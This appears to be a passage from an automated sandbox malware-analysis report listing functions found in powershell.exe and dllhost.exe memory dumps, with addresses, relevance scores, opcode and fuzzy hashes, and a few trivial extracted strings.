Function 00007FFD9B8B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2979344896.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 9bdfda7ff094c016ee29611a0f36b44afefaafe4c9d5040173e090ca4ad0f1af
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8701A73120CB0C4FD748EF0CE451AA6B3E0FB89320F10056EE58AC36A1DA32E882CB41

Function 00007FFD9B8B9CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2979344896.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afcb204395d087269947bd976a10d01531c255e27e4dd06319db37365981a8c
Instruction ID: e597653c30d4cdb3459ec21f1b1ce16bc7de77e4f4f96932c41798f636ec5e7c
Opcode Fuzzy Hash: 7afcb204395d087269947bd976a10d01531c255e27e4dd06319db37365981a8c
Instruction Fuzzy Hash: 62F0243180868D4FDB06EF3888294E57FE0EF16310B0902DBE448C70B2DB649958CBC2

Non-executed Functions

Function 00007FFD9B8B84E3 Relevance: 6.4, Strings: 5, Instructions: 110COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD9B8B8502
K_^, xrefs: 00007FFD9B8B8572
K_^, xrefs: 00007FFD9B8B85C2
K_^, xrefs: 00007FFD9B8B8562
K_^, xrefs: 00007FFD9B8B8522

Memory Dump Source

Source File: 00000017.00000002.2979344896.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^$K_^
API String ID: 0-3188868157
Opcode ID: 320a28156f4aa1b0160b0d64f429cc249e1c691dabbe89718bbe256aa50c938f
Instruction ID: 426a4f3c47aee50f32f39abe6b7035b3d9250b863923447a0819b68a4716d300
Opcode Fuzzy Hash: 320a28156f4aa1b0160b0d64f429cc249e1c691dabbe89718bbe256aa50c938f
Instruction Fuzzy Hash: 1A317093E0F6D71BE763077918754D46FA0AE6B26434F02E6C0E88F1B3F904A9079651

Analysis Process: powershell.exePID: 7120, Parent PID: 6888COMMON

Executed Functions

Function 00007FFD9B976605 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3035430002.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636b91d5881a8f3df768180e0a4299decb8a1293c8f9d86d60462579d0e7ebb2
Instruction ID: b47c6844a83a68f24099e6670f6b84cbb0617cb3b0f1b683bf0c725f7570000e
Opcode Fuzzy Hash: 636b91d5881a8f3df768180e0a4299decb8a1293c8f9d86d60462579d0e7ebb2
Instruction Fuzzy Hash: D2D14722A1FB8E5FEBA5DB6848A55B57BE0EF56310B0901FED05DCB0E3DA18AD05C341

Function 00007FFD9B8AB71C Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3027677737.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd6ae62d1ecdd89684f47fc1f6d97094bd8dd4e20c106df7e669cefc58c8182
Instruction ID: 18591f519e7eeb1da4bd39cfa18e7b066954d0e25350007c2f3eed17d19b164b
Opcode Fuzzy Hash: 5dd6ae62d1ecdd89684f47fc1f6d97094bd8dd4e20c106df7e669cefc58c8182
Instruction Fuzzy Hash: D681577160DB8C4FDB59DF6C8895AB57BE0EF5A320F0401BED08AC71A3DA25A846CB51

Function 00007FFD9B974073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3035430002.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b42b9772d4ee53ad905d754eff62f156fabdfea22fc21d163eaca5e4a469a76
Instruction ID: 291fb1ee7286bcd5d3d833dc55b467300ee12dc80706ead5f444b3f1f962f080
Opcode Fuzzy Hash: 4b42b9772d4ee53ad905d754eff62f156fabdfea22fc21d163eaca5e4a469a76
Instruction Fuzzy Hash: 8F516D32B2EA4E1FE7A9EA6C54A177877D1DF65210B1940BEC05DC72E7DE14EC058341

Function 00007FFD9B8A9718 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3027677737.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f525888bc2199af1dd3b6c1245dab091dd16820542147056c6da37afd878c11
Instruction ID: 54c89a7b65e91d67d0492c61113c1e1629a6f352bb07d08a23e905044ca6cbd0
Opcode Fuzzy Hash: 1f525888bc2199af1dd3b6c1245dab091dd16820542147056c6da37afd878c11
Instruction Fuzzy Hash: BD415871A0DB888FEB189F5C9C5A6A87FE0FB59710F04416FD09983293DA24B905C7D2

Function 00007FFD9B974370 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3035430002.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13123e2e4469ed0069ec6cdb75114694c06cfa29dd6805c4c502a7153a29e228
Instruction ID: e0c31f5cdeff90504f19a69033329e7fadddc606b07931ae14d47022badc08be
Opcode Fuzzy Hash: 13123e2e4469ed0069ec6cdb75114694c06cfa29dd6805c4c502a7153a29e228
Instruction Fuzzy Hash: 5E412632B1EA5D5FEBB9D66C64A16B877D1EF40720B1A00BED05DC72E7EA14AD018381

Function 00007FFD9B78EB89 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3017973378.00007FFD9B78D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B78D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b78d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d1dcaeda09aeb779e5b02a5fa611dcf407d9d08d1da24b626a06790fc6bc5f9
Instruction ID: 62d6af5535c86a7adcc939b9f996066d5e984c748e44312d1970235e153d2541
Opcode Fuzzy Hash: 8d1dcaeda09aeb779e5b02a5fa611dcf407d9d08d1da24b626a06790fc6bc5f9
Instruction Fuzzy Hash: 3E41087180EBC84FE7568B3898959523FF0EF56221B1606DFD089CB1B3D625A845C792

Function 00007FFD9B9740BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3035430002.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8225daf153d236a4e59c6ab2b404a9fd0ffc331331f4ed0f3458d2b7c6a743d
Instruction ID: 4747e3c4d0dbb4edbc241a4cc9abfe9b91032d46b67e6e2d65c71a3362d4813f
Opcode Fuzzy Hash: b8225daf153d236a4e59c6ab2b404a9fd0ffc331331f4ed0f3458d2b7c6a743d
Instruction Fuzzy Hash: DD21D422B2EA8B1FE7A5EA5844A267867C1EF65210B4A80BDD05DC72F7DE18EC048341

Function 00007FFD9B9743BC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3035430002.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d698849e6a0a89a09244f8f03b818b00fee08ad6b516bc38716f45e0a38512a
Instruction ID: 12c78838b16b3177f0514fe1ba3b832e9c0bfbd6d012b14a3c977b0e6ea64695
Opcode Fuzzy Hash: 7d698849e6a0a89a09244f8f03b818b00fee08ad6b516bc38716f45e0a38512a
Instruction Fuzzy Hash: 44110232B2F59A1FE7B5D76898B06BC7BD1EF00620B5A00BED45DC72E7DA18AD008741

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3027677737.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Function 00007FFD9B8A9CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3027677737.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa59cbce7b91260308e51566c07a78fa3ca27280f5a5f498ba06d49041627e7f
Instruction ID: 70265af830595af227f5d706d8fa1733a46c70e9991a9b2456cfec3dd018e7d1
Opcode Fuzzy Hash: fa59cbce7b91260308e51566c07a78fa3ca27280f5a5f498ba06d49041627e7f
Instruction Fuzzy Hash: 49F0243180C68D8FDB0AEF2888294D57FA0EF16310B0502DBE448C70B2DB749598CB92

Analysis Process: dllhost.exePID: 7312, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B891EC3 Relevance: 16.5, Strings: 12, Instructions: 1498COMMON

Download Yara Rule

Strings

u, xrefs: 00007FFD9B8920EC
], xrefs: 00007FFD9B89289A
{, xrefs: 00007FFD9B8931BC
}, xrefs: 00007FFD9B893200
{, xrefs: 00007FFD9B892D06
[, xrefs: 00007FFD9B892567
\, xrefs: 00007FFD9B891FC5
], xrefs: 00007FFD9B8925AB
[, xrefs: 00007FFD9B892856
}, xrefs: 00007FFD9B892D4A
", xrefs: 00007FFD9B892463
H, xrefs: 00007FFD9B892ED1

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID: "$H$[$[$\$]$]$u${${$}$}
API String ID: 0-2063274034
Opcode ID: 37d41fe4dcfb4c93af54a17e002940e508bccfb372f82aadfc2addf447f4f8df
Instruction ID: d88c68225c35938cbaa34b2623df9249385a64b95bfd2e6d93315c34ac57692e
Opcode Fuzzy Hash: 37d41fe4dcfb4c93af54a17e002940e508bccfb372f82aadfc2addf447f4f8df
Instruction Fuzzy Hash: ECD2A670E1962D8FDBA8DF58C8A5BA9B7B1FF58305F5041EAD00DE3295DA346A81CF40

Function 00007FFD9B891250 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B89137D

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: a9d1649e9a82df93b194bd9da307bd56821cce9d10bf39117a4cdc0a0826a1cc
Instruction ID: b93f930f166030942488148d30c97df4abe436595e581c1114bb22745727223c
Opcode Fuzzy Hash: a9d1649e9a82df93b194bd9da307bd56821cce9d10bf39117a4cdc0a0826a1cc
Instruction Fuzzy Hash: F9A16074A0891C8FDB98EF58C894BA8B7F1FF69301F4541A9E00DE72A5DB74AD81CB40

Function 00007FFD9B891751 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7c757c1b2f6bdef7f5cb20ff44d4fa8cf0d83b25537c2716277a3d416135e1
Instruction ID: 6de6fc10d78adf43e97c5e4bccad029a738950fc6600e8543077d8f019deeeb7
Opcode Fuzzy Hash: ea7c757c1b2f6bdef7f5cb20ff44d4fa8cf0d83b25537c2716277a3d416135e1
Instruction Fuzzy Hash: 12E18071E1965D9FDB59EB64C8A5BE8BBB1FF58300F0441BAD00DD72A2DA386981CB01

Function 00007FFD9B891831 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6033844ee21be85c3ccd1f1f82720d8adfa2b9ed290dc39ec1f7ebf4c19060
Instruction ID: ef71556736a7f429f9d19187306e7ec3fc67ea0bce8398d49ec9dced51b5316b
Opcode Fuzzy Hash: 8d6033844ee21be85c3ccd1f1f82720d8adfa2b9ed290dc39ec1f7ebf4c19060
Instruction Fuzzy Hash: DF914D71E1965D8FDB9CEB58C8A4BA8BBB1FF58300F4441B9D00DE72A6DE346981CB01

Function 00007FFD9B890DD9 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca479799d83a3054ae5dd5fbe44901d3dbc4b820577388451020855cd80def5
Instruction ID: ed3191cdde5e1848654f9f026ec2d1743982c5518c2720c49fb53db6d0a1e1cc
Opcode Fuzzy Hash: cca479799d83a3054ae5dd5fbe44901d3dbc4b820577388451020855cd80def5
Instruction Fuzzy Hash: DD714D30A1994E8FDF98EF58D895EEDB7B1FF58300F1542A5D01DD729ACA34A981CB80

Function 00007FFD9B894843 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95f9c83f20c992d4830dec1796db7c83aad16b8c02dae0e2984ba7d9f87c7fa
Instruction ID: d7ca8249f570eba7a674e3e62d38b4e66939108e0630d651f848cd5400a64452
Opcode Fuzzy Hash: b95f9c83f20c992d4830dec1796db7c83aad16b8c02dae0e2984ba7d9f87c7fa
Instruction Fuzzy Hash: EE81B670E1491D8FEB94EFA8C855BADB7B1FF58300F5041AAD41DE3296DF3469818B41

Function 00007FFD9B8908B1 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243c2a56eaa04e6505f008a6cf19aacbf4bbfcf114409f067c0a06122b69e64e
Instruction ID: 4121345097b34c081afc455715540adbf8bfd0e0f041dcf419a8b832867dc5c6
Opcode Fuzzy Hash: 243c2a56eaa04e6505f008a6cf19aacbf4bbfcf114409f067c0a06122b69e64e
Instruction Fuzzy Hash: 2A61C131A19A4E8FEFA8EF98C4646ADBBE1FF58704F0101BAD00DC71A6CB34A941C740

Function 00007FFD9B894611 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be5a1b78f8dbc98831c14ba3b278bb7a0cb7a623fad95cf8304de1173029a345
Instruction ID: b1f4e00d2fa4ab27600b49e67af14d1fe4350d784df4e60e4897065bccaee2ea
Opcode Fuzzy Hash: be5a1b78f8dbc98831c14ba3b278bb7a0cb7a623fad95cf8304de1173029a345
Instruction Fuzzy Hash: 5571B370A18A1D8FDF98EF98D865AEDBBF1FF58300F5501AAD00DE7295DA346941CB40

Function 00007FFD9B890AB9 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 650fd44452507e787db2ae0b71d6b1ca805bd2e65e0afa22f9ef211133b197da
Instruction ID: 8650321ac2e169de2cc7e8e3190e90f419986c6c7e73e6680977acda3642e28c
Opcode Fuzzy Hash: 650fd44452507e787db2ae0b71d6b1ca805bd2e65e0afa22f9ef211133b197da
Instruction Fuzzy Hash: 4351E970E19A5D8FDF98EF98C8646EDBBB2FFA8701F15012AD009E7295CB345845CB40

Function 00007FFD9B896129 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8b9cc4372d9ff68543c695a46ae6fe797a6ae0e81737892dadf5c4ebf39d76
Instruction ID: d4b0aaf2d4b392274f63387134043f63f7a577fa6b2a82b4408adcc0d39e4620
Opcode Fuzzy Hash: 0a8b9cc4372d9ff68543c695a46ae6fe797a6ae0e81737892dadf5c4ebf39d76
Instruction Fuzzy Hash: CC519FB1E0961D8FEBA5EBA8C4A47AC7BB1FF59340F51417AD00DD32A5CB386985CB40

Function 00007FFD9B8938B8 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3a009f0905482af24958b0e98bd60a956001e65740a9f7ff16111e496c6f13
Instruction ID: 890c32325d8a7feb3f7d535666b77d6986d6f077b8542cf69036964bbbe458c9
Opcode Fuzzy Hash: 6f3a009f0905482af24958b0e98bd60a956001e65740a9f7ff16111e496c6f13
Instruction Fuzzy Hash: E5417B71E0991D8FDF58EF98D861AEDBBF1FF58300F11017AE01AE3295DA34A9018B51

Function 00007FFD9B890C6D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab51b868cffc9b7df377ad17df417d78b9f2d7d5207dcee75fe77b82f7127724
Instruction ID: f3482851b15d13ada6441a6acaddc8839a8da2c4d96e062b0cb7b47aefd07937
Opcode Fuzzy Hash: ab51b868cffc9b7df377ad17df417d78b9f2d7d5207dcee75fe77b82f7127724
Instruction Fuzzy Hash: 8E413731D1961D8FDB55EFA8D458AEDBBB0FF19300F01017AE009E31A6DB78AA41CB80

Function 00007FFD9B891521 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 391d952fab3e106c2f2a1d10caac071e9df4a1b12026da4ac74add0641e6fd85
Instruction ID: ac2ac35d478941f6edc931ced4a513d8b7767bc879db121ad9cae4bc3a821731
Opcode Fuzzy Hash: 391d952fab3e106c2f2a1d10caac071e9df4a1b12026da4ac74add0641e6fd85
Instruction Fuzzy Hash: 7341F534B1991D8FDFA8EB58C8A1BACB7F1FF58304F5140A9904EE3691DE74A9818B40

Function 00007FFD9B890AD0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06692b6147fb80c3f69e43e1f416c4ed642180b192b64867e5de8547be3c5027
Instruction ID: 6d02499c51d65944aecd94ea359482f1f3ca1296a2ad3b49be3bfb406e4fdad2
Opcode Fuzzy Hash: 06692b6147fb80c3f69e43e1f416c4ed642180b192b64867e5de8547be3c5027
Instruction Fuzzy Hash: 9A310D71A1991D8FDF98EF98C854BEDBBB1FFA8705F11012AD009E3295CB34A845CB80

Function 00007FFD9B894525 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec3955022bdaa1ed47f7958ec2c21958e5c4f08939d7459fda54ac177ac30c0
Instruction ID: f069b815add7ec94891b920c339d331d1a774ddf16721f7fde965286ed97957e
Opcode Fuzzy Hash: 3ec3955022bdaa1ed47f7958ec2c21958e5c4f08939d7459fda54ac177ac30c0
Instruction Fuzzy Hash: 9E312A32A0E6CE4FDB65DFA888750E97FA1FF59200B4A01BFE4498B1E7DD249945C381

Function 00007FFD9B894BE9 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ba61645bd71907022a3e3fc1e8a3596a341fb1124ce2e6b7e77b4cccda26ad
Instruction ID: 783f7b07d2b4f3a83d32eaf48dd91041e7da780f848d82bb289ed45a337ba6b3
Opcode Fuzzy Hash: 10ba61645bd71907022a3e3fc1e8a3596a341fb1124ce2e6b7e77b4cccda26ad
Instruction Fuzzy Hash: B8419C30E096598FEB65EFA4C865AEDBBB1FF49304F0401BED049D72A6CB385981CB00

Function 00007FFD9B891129 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17b3ff0068ac080dd9fc28f09e42dfcac1a3f0e3d0ed581dcd4332eb79491609
Instruction ID: 4109b300699abcf834153c983edb5b6847cf796d49272a1a76b9d7c03683f92e
Opcode Fuzzy Hash: 17b3ff0068ac080dd9fc28f09e42dfcac1a3f0e3d0ed581dcd4332eb79491609
Instruction Fuzzy Hash: FF219F31A08A5D9FDF91EFA8D855AED7BF1FF59310F00017AE408E32A1CA389941CB80

Function 00007FFD9B893A8D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8cebd74c7f35ca95c31ea4c48a0f1c78513d08c0166d6bd8867e05768deedc
Instruction ID: b594d70c85dcca4911878f88b38ac43cdc1a804986cbed9b72d28f3677f9578f
Opcode Fuzzy Hash: 1f8cebd74c7f35ca95c31ea4c48a0f1c78513d08c0166d6bd8867e05768deedc
Instruction Fuzzy Hash: A3218031A0FA8E4FEBA9DB2888646A97BA1FF59300F0601B9D048D71D2DE75A9418741

Function 00007FFD9B893F00 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 992800baf63be66f86f80dec47568a01705b97c7e5d029a511c8efd8b9f10dc7
Instruction ID: 0c92340c8aa537549a3d1e2a989c73a29ca64be5fc5bd2a49e551c80569837b5
Opcode Fuzzy Hash: 992800baf63be66f86f80dec47568a01705b97c7e5d029a511c8efd8b9f10dc7
Instruction Fuzzy Hash: BB314D30E1560E8FEBB8DB64C4697B976B1EF49300F0005BDD45DD32E6CE3469818B40

Function 00007FFD9B896895 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851475a23cdcde48f6cedc48a85be9b7a975a784687bace84fbbafbf8f63da88
Instruction ID: 0fa5881f591a2dc111f169d2bd00dd7592e4e16174a74b9f20fa88c517ab3330
Opcode Fuzzy Hash: 851475a23cdcde48f6cedc48a85be9b7a975a784687bace84fbbafbf8f63da88
Instruction Fuzzy Hash: 74218971E0A21E8FDF28DFA494602FEBAF0EF59341F11017AD01AB22D1CA385A45CB91

Function 00007FFD9B893F0B Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b890000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa42e50a8082b57fb9e99521077d5676c13fc65c028215c96d5c448f18c5acfc
Instruction ID: 4b99d25dc6e8ccc0f6e29d1cfe5e47a34e7558d5cc435c85e72a37d2d32bb330
Opcode Fuzzy Hash: aa42e50a8082b57fb9e99521077d5676c13fc65c028215c96d5c448f18c5acfc
Instruction Fuzzy Hash: 6B215331E0A60E8FEB74DF94C4656B977B1EF89310F05017AD51D932E6DE38AA418A41

Function 00007FFD9B891048 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2312611625.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

